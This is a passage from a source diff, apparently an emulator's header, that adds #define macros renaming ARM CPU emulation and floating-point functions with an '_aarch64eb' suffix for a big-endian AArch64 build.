arm_cpu_exec_interrupt_aarch64eb +#define arm_cpu_finalizefn arm_cpu_finalizefn_aarch64eb +#define arm_cpu_get_phys_page_debug arm_cpu_get_phys_page_debug_aarch64eb +#define arm_cpu_handle_mmu_fault arm_cpu_handle_mmu_fault_aarch64eb +#define arm_cpu_initfn arm_cpu_initfn_aarch64eb +#define arm_cpu_list arm_cpu_list_aarch64eb +#define cpu_loop_exit cpu_loop_exit_aarch64eb +#define arm_cpu_post_init arm_cpu_post_init_aarch64eb +#define arm_cpu_realizefn arm_cpu_realizefn_aarch64eb +#define arm_cpu_register_gdb_regs_for_features arm_cpu_register_gdb_regs_for_features_aarch64eb +#define arm_cpu_register_types arm_cpu_register_types_aarch64eb +#define cpu_resume_from_signal cpu_resume_from_signal_aarch64eb +#define arm_cpus arm_cpus_aarch64eb +#define arm_cpu_set_pc arm_cpu_set_pc_aarch64eb +#define arm_cp_write_ignore arm_cp_write_ignore_aarch64eb +#define arm_current_el arm_current_el_aarch64eb +#define arm_dc_feature arm_dc_feature_aarch64eb +#define arm_debug_excp_handler arm_debug_excp_handler_aarch64eb +#define arm_debug_target_el arm_debug_target_el_aarch64eb +#define arm_el_is_aa64 arm_el_is_aa64_aarch64eb +#define arm_env_get_cpu arm_env_get_cpu_aarch64eb +#define arm_excp_target_el arm_excp_target_el_aarch64eb +#define arm_excp_unmasked arm_excp_unmasked_aarch64eb +#define arm_feature arm_feature_aarch64eb +#define arm_generate_debug_exceptions arm_generate_debug_exceptions_aarch64eb +#define gen_intermediate_code gen_intermediate_code_aarch64eb +#define gen_intermediate_code_pc gen_intermediate_code_pc_aarch64eb +#define arm_gen_test_cc arm_gen_test_cc_aarch64eb +#define arm_gt_ptimer_cb arm_gt_ptimer_cb_aarch64eb +#define arm_gt_vtimer_cb arm_gt_vtimer_cb_aarch64eb +#define arm_handle_psci_call arm_handle_psci_call_aarch64eb +#define arm_is_psci_call arm_is_psci_call_aarch64eb +#define arm_is_secure arm_is_secure_aarch64eb +#define arm_is_secure_below_el3 arm_is_secure_below_el3_aarch64eb +#define arm_ldl_code arm_ldl_code_aarch64eb +#define arm_lduw_code arm_lduw_code_aarch64eb +#define arm_log_exception arm_log_exception_aarch64eb +#define arm_reg_read arm_reg_read_aarch64eb +#define arm_reg_reset arm_reg_reset_aarch64eb +#define arm_reg_write arm_reg_write_aarch64eb +#define restore_state_to_opc restore_state_to_opc_aarch64eb +#define arm_rmode_to_sf arm_rmode_to_sf_aarch64eb +#define arm_singlestep_active arm_singlestep_active_aarch64eb +#define tlb_fill tlb_fill_aarch64eb +#define tlb_flush tlb_flush_aarch64eb +#define tlb_flush_page tlb_flush_page_aarch64eb +#define tlb_set_page tlb_set_page_aarch64eb +#define arm_translate_init arm_translate_init_aarch64eb +#define arm_v7m_class_init arm_v7m_class_init_aarch64eb +#define arm_v7m_cpu_do_interrupt arm_v7m_cpu_do_interrupt_aarch64eb +#define ats_access ats_access_aarch64eb +#define ats_write ats_write_aarch64eb +#define bad_mode_switch bad_mode_switch_aarch64eb +#define bank_number bank_number_aarch64eb +#define bitmap_zero_extend bitmap_zero_extend_aarch64eb +#define bp_wp_matches bp_wp_matches_aarch64eb +#define breakpoint_invalidate breakpoint_invalidate_aarch64eb +#define build_page_bitmap build_page_bitmap_aarch64eb +#define bus_add_child bus_add_child_aarch64eb +#define bus_class_init bus_class_init_aarch64eb +#define bus_info bus_info_aarch64eb +#define bus_unparent bus_unparent_aarch64eb +#define cache_block_ops_cp_reginfo cache_block_ops_cp_reginfo_aarch64eb +#define cache_dirty_status_cp_reginfo cache_dirty_status_cp_reginfo_aarch64eb +#define cache_test_clean_cp_reginfo cache_test_clean_cp_reginfo_aarch64eb +#define call_recip_estimate call_recip_estimate_aarch64eb +#define can_merge can_merge_aarch64eb +#define capacity_increase capacity_increase_aarch64eb +#define ccsidr_read ccsidr_read_aarch64eb +#define check_ap check_ap_aarch64eb +#define check_breakpoints check_breakpoints_aarch64eb +#define check_watchpoints check_watchpoints_aarch64eb +#define cho cho_aarch64eb +#define clear_bit clear_bit_aarch64eb +#define clz32 clz32_aarch64eb +#define clz64 clz64_aarch64eb +#define cmp_flatrange_addr cmp_flatrange_addr_aarch64eb +#define code_gen_alloc code_gen_alloc_aarch64eb +#define commonNaNToFloat128 commonNaNToFloat128_aarch64eb +#define commonNaNToFloat16 commonNaNToFloat16_aarch64eb +#define commonNaNToFloat32 commonNaNToFloat32_aarch64eb +#define commonNaNToFloat64 commonNaNToFloat64_aarch64eb +#define commonNaNToFloatx80 commonNaNToFloatx80_aarch64eb +#define compute_abs_deadline compute_abs_deadline_aarch64eb +#define cond_name cond_name_aarch64eb +#define configure_accelerator configure_accelerator_aarch64eb +#define container_get container_get_aarch64eb +#define container_info container_info_aarch64eb +#define container_register_types container_register_types_aarch64eb +#define contextidr_write contextidr_write_aarch64eb +#define core_log_global_start core_log_global_start_aarch64eb +#define core_log_global_stop core_log_global_stop_aarch64eb +#define core_memory_listener core_memory_listener_aarch64eb +#define cortexa15_cp_reginfo cortexa15_cp_reginfo_aarch64eb +#define cortex_a15_initfn cortex_a15_initfn_aarch64eb +#define cortexa8_cp_reginfo cortexa8_cp_reginfo_aarch64eb +#define cortex_a8_initfn cortex_a8_initfn_aarch64eb +#define cortexa9_cp_reginfo cortexa9_cp_reginfo_aarch64eb +#define cortex_a9_initfn cortex_a9_initfn_aarch64eb +#define cortex_m3_initfn cortex_m3_initfn_aarch64eb +#define count_cpreg count_cpreg_aarch64eb +#define countLeadingZeros32 countLeadingZeros32_aarch64eb +#define countLeadingZeros64 countLeadingZeros64_aarch64eb +#define cp_access_ok cp_access_ok_aarch64eb +#define cpacr_write cpacr_write_aarch64eb +#define cpreg_field_is_64bit cpreg_field_is_64bit_aarch64eb +#define cp_reginfo cp_reginfo_aarch64eb +#define cpreg_key_compare cpreg_key_compare_aarch64eb +#define cpreg_make_keylist cpreg_make_keylist_aarch64eb +#define cp_reg_reset cp_reg_reset_aarch64eb +#define cpreg_to_kvm_id cpreg_to_kvm_id_aarch64eb +#define cpsr_read cpsr_read_aarch64eb +#define cpsr_write cpsr_write_aarch64eb +#define cptype_valid cptype_valid_aarch64eb +#define cpu_abort cpu_abort_aarch64eb +#define cpu_arm_exec cpu_arm_exec_aarch64eb +#define cpu_arm_gen_code cpu_arm_gen_code_aarch64eb +#define cpu_arm_init cpu_arm_init_aarch64eb +#define cpu_breakpoint_insert cpu_breakpoint_insert_aarch64eb +#define cpu_breakpoint_remove cpu_breakpoint_remove_aarch64eb +#define cpu_breakpoint_remove_all cpu_breakpoint_remove_all_aarch64eb +#define cpu_breakpoint_remove_by_ref cpu_breakpoint_remove_by_ref_aarch64eb +#define cpu_can_do_io cpu_can_do_io_aarch64eb +#define cpu_can_run cpu_can_run_aarch64eb +#define cpu_class_init cpu_class_init_aarch64eb +#define cpu_common_class_by_name cpu_common_class_by_name_aarch64eb +#define cpu_common_exec_interrupt cpu_common_exec_interrupt_aarch64eb +#define cpu_common_get_arch_id cpu_common_get_arch_id_aarch64eb +#define cpu_common_get_memory_mapping cpu_common_get_memory_mapping_aarch64eb +#define cpu_common_get_paging_enabled cpu_common_get_paging_enabled_aarch64eb +#define cpu_common_has_work cpu_common_has_work_aarch64eb +#define cpu_common_initfn cpu_common_initfn_aarch64eb +#define cpu_common_noop cpu_common_noop_aarch64eb +#define cpu_common_parse_features cpu_common_parse_features_aarch64eb +#define cpu_common_realizefn cpu_common_realizefn_aarch64eb +#define cpu_common_reset cpu_common_reset_aarch64eb +#define cpu_dump_statistics cpu_dump_statistics_aarch64eb +#define cpu_exec_init cpu_exec_init_aarch64eb +#define cpu_flush_icache_range cpu_flush_icache_range_aarch64eb +#define cpu_gen_init cpu_gen_init_aarch64eb +#define cpu_get_clock cpu_get_clock_aarch64eb +#define cpu_get_real_ticks cpu_get_real_ticks_aarch64eb +#define cpu_get_tb_cpu_state cpu_get_tb_cpu_state_aarch64eb +#define cpu_handle_debug_exception cpu_handle_debug_exception_aarch64eb +#define cpu_handle_guest_debug cpu_handle_guest_debug_aarch64eb +#define cpu_inb cpu_inb_aarch64eb +#define cpu_inl cpu_inl_aarch64eb +#define cpu_interrupt cpu_interrupt_aarch64eb +#define cpu_interrupt_handler cpu_interrupt_handler_aarch64eb +#define cpu_inw cpu_inw_aarch64eb +#define cpu_io_recompile cpu_io_recompile_aarch64eb +#define cpu_is_stopped cpu_is_stopped_aarch64eb +#define cpu_ldl_code cpu_ldl_code_aarch64eb +#define cpu_ldub_code cpu_ldub_code_aarch64eb +#define cpu_lduw_code cpu_lduw_code_aarch64eb +#define cpu_memory_rw_debug cpu_memory_rw_debug_aarch64eb +#define cpu_mmu_index cpu_mmu_index_aarch64eb +#define cpu_outb cpu_outb_aarch64eb +#define cpu_outl cpu_outl_aarch64eb +#define cpu_outw cpu_outw_aarch64eb +#define cpu_physical_memory_clear_dirty_range cpu_physical_memory_clear_dirty_range_aarch64eb +#define cpu_physical_memory_get_clean cpu_physical_memory_get_clean_aarch64eb +#define cpu_physical_memory_get_dirty cpu_physical_memory_get_dirty_aarch64eb +#define cpu_physical_memory_get_dirty_flag cpu_physical_memory_get_dirty_flag_aarch64eb +#define cpu_physical_memory_is_clean cpu_physical_memory_is_clean_aarch64eb +#define cpu_physical_memory_is_io cpu_physical_memory_is_io_aarch64eb +#define cpu_physical_memory_map cpu_physical_memory_map_aarch64eb +#define cpu_physical_memory_range_includes_clean cpu_physical_memory_range_includes_clean_aarch64eb +#define cpu_physical_memory_reset_dirty cpu_physical_memory_reset_dirty_aarch64eb +#define cpu_physical_memory_rw cpu_physical_memory_rw_aarch64eb +#define cpu_physical_memory_set_dirty_flag cpu_physical_memory_set_dirty_flag_aarch64eb +#define cpu_physical_memory_set_dirty_range cpu_physical_memory_set_dirty_range_aarch64eb +#define cpu_physical_memory_unmap cpu_physical_memory_unmap_aarch64eb +#define cpu_physical_memory_write_rom cpu_physical_memory_write_rom_aarch64eb +#define cpu_physical_memory_write_rom_internal cpu_physical_memory_write_rom_internal_aarch64eb +#define cpu_register cpu_register_aarch64eb +#define cpu_register_types cpu_register_types_aarch64eb +#define cpu_restore_state cpu_restore_state_aarch64eb +#define cpu_restore_state_from_tb cpu_restore_state_from_tb_aarch64eb +#define cpu_single_step cpu_single_step_aarch64eb +#define cpu_tb_exec cpu_tb_exec_aarch64eb +#define cpu_tlb_reset_dirty_all cpu_tlb_reset_dirty_all_aarch64eb +#define cpu_to_be64 cpu_to_be64_aarch64eb +#define cpu_to_le32 cpu_to_le32_aarch64eb +#define cpu_to_le64 cpu_to_le64_aarch64eb +#define cpu_type_info cpu_type_info_aarch64eb +#define cpu_unassigned_access cpu_unassigned_access_aarch64eb +#define cpu_watchpoint_address_matches cpu_watchpoint_address_matches_aarch64eb +#define cpu_watchpoint_insert cpu_watchpoint_insert_aarch64eb +#define cpu_watchpoint_remove cpu_watchpoint_remove_aarch64eb +#define cpu_watchpoint_remove_all cpu_watchpoint_remove_all_aarch64eb +#define cpu_watchpoint_remove_by_ref cpu_watchpoint_remove_by_ref_aarch64eb +#define crc32c_table crc32c_table_aarch64eb +#define create_new_memory_mapping create_new_memory_mapping_aarch64eb +#define csselr_write csselr_write_aarch64eb +#define cto32 cto32_aarch64eb +#define ctr_el0_access ctr_el0_access_aarch64eb +#define ctz32 ctz32_aarch64eb +#define ctz64 ctz64_aarch64eb +#define dacr_write dacr_write_aarch64eb +#define dbgbcr_write dbgbcr_write_aarch64eb +#define dbgbvr_write dbgbvr_write_aarch64eb +#define dbgwcr_write dbgwcr_write_aarch64eb +#define dbgwvr_write dbgwvr_write_aarch64eb +#define debug_cp_reginfo debug_cp_reginfo_aarch64eb +#define debug_frame debug_frame_aarch64eb +#define debug_lpae_cp_reginfo debug_lpae_cp_reginfo_aarch64eb +#define define_arm_cp_regs define_arm_cp_regs_aarch64eb +#define define_arm_cp_regs_with_opaque define_arm_cp_regs_with_opaque_aarch64eb +#define define_debug_regs define_debug_regs_aarch64eb +#define define_one_arm_cp_reg define_one_arm_cp_reg_aarch64eb +#define define_one_arm_cp_reg_with_opaque define_one_arm_cp_reg_with_opaque_aarch64eb +#define deposit32 deposit32_aarch64eb +#define deposit64 deposit64_aarch64eb +#define deregister_tm_clones deregister_tm_clones_aarch64eb +#define device_class_base_init device_class_base_init_aarch64eb +#define device_class_init device_class_init_aarch64eb +#define device_finalize device_finalize_aarch64eb +#define device_get_realized device_get_realized_aarch64eb +#define device_initfn device_initfn_aarch64eb +#define device_post_init device_post_init_aarch64eb +#define device_reset device_reset_aarch64eb +#define device_set_realized device_set_realized_aarch64eb +#define device_type_info device_type_info_aarch64eb +#define disas_arm_insn disas_arm_insn_aarch64eb +#define disas_coproc_insn disas_coproc_insn_aarch64eb +#define disas_dsp_insn disas_dsp_insn_aarch64eb +#define disas_iwmmxt_insn disas_iwmmxt_insn_aarch64eb +#define disas_neon_data_insn disas_neon_data_insn_aarch64eb +#define disas_neon_ls_insn disas_neon_ls_insn_aarch64eb +#define disas_thumb2_insn disas_thumb2_insn_aarch64eb +#define disas_thumb_insn disas_thumb_insn_aarch64eb +#define disas_vfp_insn disas_vfp_insn_aarch64eb +#define disas_vfp_v8_insn disas_vfp_v8_insn_aarch64eb +#define do_arm_semihosting do_arm_semihosting_aarch64eb +#define do_clz16 do_clz16_aarch64eb +#define do_clz8 do_clz8_aarch64eb +#define do_constant_folding do_constant_folding_aarch64eb +#define do_constant_folding_2 do_constant_folding_2_aarch64eb +#define do_constant_folding_cond do_constant_folding_cond_aarch64eb +#define do_constant_folding_cond2 do_constant_folding_cond2_aarch64eb +#define do_constant_folding_cond_32 do_constant_folding_cond_32_aarch64eb +#define do_constant_folding_cond_64 do_constant_folding_cond_64_aarch64eb +#define do_constant_folding_cond_eq do_constant_folding_cond_eq_aarch64eb +#define do_fcvt_f16_to_f32 do_fcvt_f16_to_f32_aarch64eb +#define do_fcvt_f32_to_f16 do_fcvt_f32_to_f16_aarch64eb +#define do_ssat do_ssat_aarch64eb +#define do_usad do_usad_aarch64eb +#define do_usat do_usat_aarch64eb +#define do_v7m_exception_exit do_v7m_exception_exit_aarch64eb +#define dummy_c15_cp_reginfo dummy_c15_cp_reginfo_aarch64eb +#define dummy_func dummy_func_aarch64eb +#define dummy_section dummy_section_aarch64eb +#define _DYNAMIC _DYNAMIC_aarch64eb +#define _edata _edata_aarch64eb +#define _end _end_aarch64eb +#define end_list end_list_aarch64eb +#define eq128 eq128_aarch64eb +#define ErrorClass_lookup ErrorClass_lookup_aarch64eb +#define error_copy error_copy_aarch64eb +#define error_exit error_exit_aarch64eb +#define error_get_class error_get_class_aarch64eb +#define error_get_pretty error_get_pretty_aarch64eb +#define error_setg_file_open error_setg_file_open_aarch64eb +#define estimateDiv128To64 estimateDiv128To64_aarch64eb +#define estimateSqrt32 estimateSqrt32_aarch64eb +#define excnames excnames_aarch64eb +#define excp_is_internal excp_is_internal_aarch64eb +#define extended_addresses_enabled extended_addresses_enabled_aarch64eb +#define extended_mpu_ap_bits extended_mpu_ap_bits_aarch64eb +#define extract32 extract32_aarch64eb +#define extract64 extract64_aarch64eb +#define extractFloat128Exp extractFloat128Exp_aarch64eb +#define extractFloat128Frac0 extractFloat128Frac0_aarch64eb +#define extractFloat128Frac1 extractFloat128Frac1_aarch64eb +#define extractFloat128Sign extractFloat128Sign_aarch64eb +#define extractFloat16Exp extractFloat16Exp_aarch64eb +#define extractFloat16Frac extractFloat16Frac_aarch64eb +#define extractFloat16Sign extractFloat16Sign_aarch64eb +#define extractFloat32Exp extractFloat32Exp_aarch64eb +#define extractFloat32Frac extractFloat32Frac_aarch64eb +#define extractFloat32Sign extractFloat32Sign_aarch64eb +#define extractFloat64Exp extractFloat64Exp_aarch64eb +#define extractFloat64Frac extractFloat64Frac_aarch64eb +#define extractFloat64Sign extractFloat64Sign_aarch64eb +#define extractFloatx80Exp extractFloatx80Exp_aarch64eb +#define extractFloatx80Frac extractFloatx80Frac_aarch64eb +#define extractFloatx80Sign extractFloatx80Sign_aarch64eb +#define fcse_write fcse_write_aarch64eb +#define find_better_copy find_better_copy_aarch64eb +#define find_default_machine find_default_machine_aarch64eb +#define find_desc_by_name find_desc_by_name_aarch64eb +#define find_first_bit find_first_bit_aarch64eb +#define find_paging_enabled_cpu find_paging_enabled_cpu_aarch64eb +#define find_ram_block find_ram_block_aarch64eb +#define find_ram_offset find_ram_offset_aarch64eb +#define find_string find_string_aarch64eb +#define find_type find_type_aarch64eb +#define _fini _fini_aarch64eb +#define flatrange_equal flatrange_equal_aarch64eb +#define flatview_destroy flatview_destroy_aarch64eb +#define flatview_init flatview_init_aarch64eb +#define flatview_insert flatview_insert_aarch64eb +#define flatview_lookup flatview_lookup_aarch64eb +#define flatview_ref flatview_ref_aarch64eb +#define flatview_simplify flatview_simplify_aarch64eb +#define flatview_unref flatview_unref_aarch64eb +#define float128_add float128_add_aarch64eb +#define float128_compare float128_compare_aarch64eb +#define float128_compare_internal float128_compare_internal_aarch64eb +#define float128_compare_quiet float128_compare_quiet_aarch64eb +#define float128_default_nan float128_default_nan_aarch64eb +#define float128_div float128_div_aarch64eb +#define float128_eq float128_eq_aarch64eb +#define float128_eq_quiet float128_eq_quiet_aarch64eb +#define float128_is_quiet_nan float128_is_quiet_nan_aarch64eb +#define float128_is_signaling_nan float128_is_signaling_nan_aarch64eb +#define float128_le float128_le_aarch64eb +#define float128_le_quiet float128_le_quiet_aarch64eb +#define float128_lt float128_lt_aarch64eb +#define float128_lt_quiet float128_lt_quiet_aarch64eb +#define float128_maybe_silence_nan float128_maybe_silence_nan_aarch64eb +#define float128_mul float128_mul_aarch64eb +#define float128_rem float128_rem_aarch64eb +#define float128_round_to_int float128_round_to_int_aarch64eb +#define float128_scalbn float128_scalbn_aarch64eb +#define float128_sqrt float128_sqrt_aarch64eb +#define float128_sub float128_sub_aarch64eb +#define float128ToCommonNaN float128ToCommonNaN_aarch64eb +#define float128_to_float32 float128_to_float32_aarch64eb +#define float128_to_float64 float128_to_float64_aarch64eb +#define float128_to_floatx80 float128_to_floatx80_aarch64eb +#define float128_to_int32 float128_to_int32_aarch64eb +#define float128_to_int32_round_to_zero float128_to_int32_round_to_zero_aarch64eb +#define float128_to_int64 float128_to_int64_aarch64eb +#define float128_to_int64_round_to_zero float128_to_int64_round_to_zero_aarch64eb +#define float128_unordered float128_unordered_aarch64eb +#define float128_unordered_quiet float128_unordered_quiet_aarch64eb +#define float16_default_nan float16_default_nan_aarch64eb +#define float16_is_quiet_nan float16_is_quiet_nan_aarch64eb +#define float16_is_signaling_nan float16_is_signaling_nan_aarch64eb +#define float16_maybe_silence_nan float16_maybe_silence_nan_aarch64eb +#define float16ToCommonNaN float16ToCommonNaN_aarch64eb +#define float16_to_float32 float16_to_float32_aarch64eb +#define float16_to_float64 float16_to_float64_aarch64eb +#define float32_abs float32_abs_aarch64eb +#define float32_add float32_add_aarch64eb +#define float32_chs float32_chs_aarch64eb +#define float32_compare float32_compare_aarch64eb +#define float32_compare_internal float32_compare_internal_aarch64eb +#define float32_compare_quiet float32_compare_quiet_aarch64eb +#define float32_default_nan float32_default_nan_aarch64eb +#define float32_div float32_div_aarch64eb +#define float32_eq float32_eq_aarch64eb +#define float32_eq_quiet float32_eq_quiet_aarch64eb +#define float32_exp2 float32_exp2_aarch64eb +#define float32_exp2_coefficients float32_exp2_coefficients_aarch64eb +#define float32_is_any_nan float32_is_any_nan_aarch64eb +#define float32_is_infinity float32_is_infinity_aarch64eb +#define float32_is_neg float32_is_neg_aarch64eb +#define float32_is_quiet_nan float32_is_quiet_nan_aarch64eb +#define float32_is_signaling_nan float32_is_signaling_nan_aarch64eb +#define float32_is_zero float32_is_zero_aarch64eb +#define float32_is_zero_or_denormal float32_is_zero_or_denormal_aarch64eb +#define float32_le float32_le_aarch64eb +#define float32_le_quiet float32_le_quiet_aarch64eb +#define float32_log2 float32_log2_aarch64eb +#define float32_lt float32_lt_aarch64eb +#define float32_lt_quiet float32_lt_quiet_aarch64eb +#define float32_max float32_max_aarch64eb +#define float32_maxnum float32_maxnum_aarch64eb +#define float32_maxnummag float32_maxnummag_aarch64eb +#define float32_maybe_silence_nan float32_maybe_silence_nan_aarch64eb +#define float32_min float32_min_aarch64eb +#define float32_minmax float32_minmax_aarch64eb +#define float32_minnum float32_minnum_aarch64eb +#define float32_minnummag float32_minnummag_aarch64eb +#define float32_mul float32_mul_aarch64eb +#define float32_muladd float32_muladd_aarch64eb +#define float32_rem float32_rem_aarch64eb +#define float32_round_to_int float32_round_to_int_aarch64eb +#define float32_scalbn float32_scalbn_aarch64eb +#define float32_set_sign float32_set_sign_aarch64eb +#define float32_sqrt float32_sqrt_aarch64eb +#define float32_squash_input_denormal float32_squash_input_denormal_aarch64eb +#define float32_sub float32_sub_aarch64eb +#define float32ToCommonNaN float32ToCommonNaN_aarch64eb +#define float32_to_float128 float32_to_float128_aarch64eb +#define float32_to_float16 float32_to_float16_aarch64eb +#define float32_to_float64 float32_to_float64_aarch64eb +#define float32_to_floatx80 float32_to_floatx80_aarch64eb +#define float32_to_int16 float32_to_int16_aarch64eb +#define float32_to_int16_round_to_zero float32_to_int16_round_to_zero_aarch64eb +#define float32_to_int32 float32_to_int32_aarch64eb +#define float32_to_int32_round_to_zero float32_to_int32_round_to_zero_aarch64eb +#define float32_to_int64 float32_to_int64_aarch64eb +#define float32_to_int64_round_to_zero float32_to_int64_round_to_zero_aarch64eb +#define float32_to_uint16 float32_to_uint16_aarch64eb +#define float32_to_uint16_round_to_zero float32_to_uint16_round_to_zero_aarch64eb +#define float32_to_uint32 float32_to_uint32_aarch64eb +#define float32_to_uint32_round_to_zero float32_to_uint32_round_to_zero_aarch64eb +#define float32_to_uint64 float32_to_uint64_aarch64eb +#define float32_to_uint64_round_to_zero float32_to_uint64_round_to_zero_aarch64eb +#define float32_unordered float32_unordered_aarch64eb +#define float32_unordered_quiet float32_unordered_quiet_aarch64eb +#define float64_abs float64_abs_aarch64eb +#define float64_add float64_add_aarch64eb +#define float64_chs float64_chs_aarch64eb +#define float64_compare float64_compare_aarch64eb +#define float64_compare_internal float64_compare_internal_aarch64eb +#define float64_compare_quiet float64_compare_quiet_aarch64eb +#define float64_default_nan float64_default_nan_aarch64eb +#define float64_div float64_div_aarch64eb +#define float64_eq float64_eq_aarch64eb +#define float64_eq_quiet float64_eq_quiet_aarch64eb +#define float64_is_any_nan float64_is_any_nan_aarch64eb +#define float64_is_infinity float64_is_infinity_aarch64eb +#define float64_is_neg float64_is_neg_aarch64eb +#define float64_is_quiet_nan float64_is_quiet_nan_aarch64eb +#define float64_is_signaling_nan float64_is_signaling_nan_aarch64eb +#define float64_is_zero float64_is_zero_aarch64eb +#define float64_le float64_le_aarch64eb +#define float64_le_quiet float64_le_quiet_aarch64eb +#define float64_log2 float64_log2_aarch64eb +#define float64_lt float64_lt_aarch64eb +#define float64_lt_quiet float64_lt_quiet_aarch64eb +#define float64_max float64_max_aarch64eb +#define float64_maxnum float64_maxnum_aarch64eb +#define float64_maxnummag float64_maxnummag_aarch64eb +#define float64_maybe_silence_nan float64_maybe_silence_nan_aarch64eb +#define float64_min float64_min_aarch64eb +#define float64_minmax float64_minmax_aarch64eb +#define float64_minnum float64_minnum_aarch64eb +#define float64_minnummag float64_minnummag_aarch64eb +#define float64_mul float64_mul_aarch64eb +#define float64_muladd float64_muladd_aarch64eb +#define float64_rem float64_rem_aarch64eb +#define float64_round_to_int float64_round_to_int_aarch64eb +#define float64_scalbn float64_scalbn_aarch64eb +#define float64_set_sign float64_set_sign_aarch64eb +#define float64_sqrt float64_sqrt_aarch64eb +#define float64_squash_input_denormal float64_squash_input_denormal_aarch64eb +#define float64_sub float64_sub_aarch64eb +#define float64ToCommonNaN float64ToCommonNaN_aarch64eb +#define float64_to_float128 float64_to_float128_aarch64eb +#define float64_to_float16 float64_to_float16_aarch64eb +#define float64_to_float32 float64_to_float32_aarch64eb +#define float64_to_floatx80 float64_to_floatx80_aarch64eb +#define float64_to_int16 float64_to_int16_aarch64eb +#define float64_to_int16_round_to_zero float64_to_int16_round_to_zero_aarch64eb +#define float64_to_int32 float64_to_int32_aarch64eb +#define float64_to_int32_round_to_zero float64_to_int32_round_to_zero_aarch64eb +#define float64_to_int64 float64_to_int64_aarch64eb +#define float64_to_int64_round_to_zero float64_to_int64_round_to_zero_aarch64eb +#define float64_to_uint16 float64_to_uint16_aarch64eb +#define float64_to_uint16_round_to_zero float64_to_uint16_round_to_zero_aarch64eb +#define float64_to_uint32 float64_to_uint32_aarch64eb +#define float64_to_uint32_round_to_zero float64_to_uint32_round_to_zero_aarch64eb +#define float64_to_uint64 float64_to_uint64_aarch64eb +#define float64_to_uint64_round_to_zero float64_to_uint64_round_to_zero_aarch64eb +#define float64_trunc_to_int float64_trunc_to_int_aarch64eb +#define float64_unordered float64_unordered_aarch64eb +#define float64_unordered_quiet float64_unordered_quiet_aarch64eb +#define float_raise float_raise_aarch64eb +#define floatx80_add floatx80_add_aarch64eb +#define floatx80_compare floatx80_compare_aarch64eb +#define floatx80_compare_internal floatx80_compare_internal_aarch64eb +#define floatx80_compare_quiet floatx80_compare_quiet_aarch64eb +#define floatx80_default_nan floatx80_default_nan_aarch64eb +#define floatx80_div floatx80_div_aarch64eb +#define floatx80_eq floatx80_eq_aarch64eb +#define floatx80_eq_quiet floatx80_eq_quiet_aarch64eb +#define floatx80_is_quiet_nan floatx80_is_quiet_nan_aarch64eb +#define floatx80_is_signaling_nan floatx80_is_signaling_nan_aarch64eb +#define floatx80_le floatx80_le_aarch64eb +#define floatx80_le_quiet floatx80_le_quiet_aarch64eb +#define floatx80_lt floatx80_lt_aarch64eb +#define floatx80_lt_quiet floatx80_lt_quiet_aarch64eb +#define floatx80_maybe_silence_nan floatx80_maybe_silence_nan_aarch64eb +#define floatx80_mul floatx80_mul_aarch64eb +#define floatx80_rem floatx80_rem_aarch64eb +#define floatx80_round_to_int floatx80_round_to_int_aarch64eb +#define floatx80_scalbn floatx80_scalbn_aarch64eb +#define floatx80_sqrt floatx80_sqrt_aarch64eb +#define floatx80_sub floatx80_sub_aarch64eb +#define floatx80ToCommonNaN floatx80ToCommonNaN_aarch64eb +#define floatx80_to_float128 floatx80_to_float128_aarch64eb +#define floatx80_to_float32 floatx80_to_float32_aarch64eb +#define floatx80_to_float64 floatx80_to_float64_aarch64eb +#define floatx80_to_int32 floatx80_to_int32_aarch64eb +#define floatx80_to_int32_round_to_zero floatx80_to_int32_round_to_zero_aarch64eb +#define floatx80_to_int64 floatx80_to_int64_aarch64eb +#define floatx80_to_int64_round_to_zero floatx80_to_int64_round_to_zero_aarch64eb +#define floatx80_unordered floatx80_unordered_aarch64eb +#define floatx80_unordered_quiet floatx80_unordered_quiet_aarch64eb +#define flush_icache_range flush_icache_range_aarch64eb +#define format_string format_string_aarch64eb +#define fp_decode_rm fp_decode_rm_aarch64eb +#define frame_dummy frame_dummy_aarch64eb +#define free_range free_range_aarch64eb +#define fstat64 fstat64_aarch64eb +#define futex_wait futex_wait_aarch64eb +#define futex_wake futex_wake_aarch64eb +#define gen_aa32_ld16s gen_aa32_ld16s_aarch64eb +#define gen_aa32_ld16u gen_aa32_ld16u_aarch64eb +#define gen_aa32_ld32u gen_aa32_ld32u_aarch64eb +#define gen_aa32_ld64 gen_aa32_ld64_aarch64eb +#define gen_aa32_ld8s gen_aa32_ld8s_aarch64eb +#define gen_aa32_ld8u gen_aa32_ld8u_aarch64eb +#define gen_aa32_st16 gen_aa32_st16_aarch64eb +#define gen_aa32_st32 gen_aa32_st32_aarch64eb +#define gen_aa32_st64 gen_aa32_st64_aarch64eb +#define gen_aa32_st8 gen_aa32_st8_aarch64eb +#define gen_adc gen_adc_aarch64eb +#define gen_adc_CC gen_adc_CC_aarch64eb +#define gen_add16 gen_add16_aarch64eb +#define gen_add_carry gen_add_carry_aarch64eb +#define gen_add_CC gen_add_CC_aarch64eb +#define gen_add_datah_offset gen_add_datah_offset_aarch64eb +#define gen_add_data_offset gen_add_data_offset_aarch64eb +#define gen_addq gen_addq_aarch64eb +#define gen_addq_lo gen_addq_lo_aarch64eb +#define gen_addq_msw gen_addq_msw_aarch64eb +#define gen_arm_parallel_addsub gen_arm_parallel_addsub_aarch64eb +#define gen_arm_shift_im gen_arm_shift_im_aarch64eb +#define gen_arm_shift_reg gen_arm_shift_reg_aarch64eb +#define gen_bx gen_bx_aarch64eb +#define gen_bx_im gen_bx_im_aarch64eb +#define gen_clrex gen_clrex_aarch64eb +#define generate_memory_topology generate_memory_topology_aarch64eb +#define generic_timer_cp_reginfo generic_timer_cp_reginfo_aarch64eb +#define gen_exception gen_exception_aarch64eb +#define gen_exception_insn gen_exception_insn_aarch64eb +#define gen_exception_internal gen_exception_internal_aarch64eb +#define gen_exception_internal_insn gen_exception_internal_insn_aarch64eb +#define gen_exception_return gen_exception_return_aarch64eb +#define gen_goto_tb gen_goto_tb_aarch64eb +#define gen_helper_access_check_cp_reg gen_helper_access_check_cp_reg_aarch64eb +#define gen_helper_add_saturate gen_helper_add_saturate_aarch64eb +#define gen_helper_add_setq gen_helper_add_setq_aarch64eb +#define gen_helper_clear_pstate_ss gen_helper_clear_pstate_ss_aarch64eb +#define gen_helper_clz32 gen_helper_clz32_aarch64eb +#define gen_helper_clz64 gen_helper_clz64_aarch64eb +#define gen_helper_clz_arm gen_helper_clz_arm_aarch64eb +#define gen_helper_cpsr_read gen_helper_cpsr_read_aarch64eb +#define gen_helper_cpsr_write gen_helper_cpsr_write_aarch64eb +#define gen_helper_crc32_arm gen_helper_crc32_arm_aarch64eb +#define gen_helper_crc32c gen_helper_crc32c_aarch64eb +#define 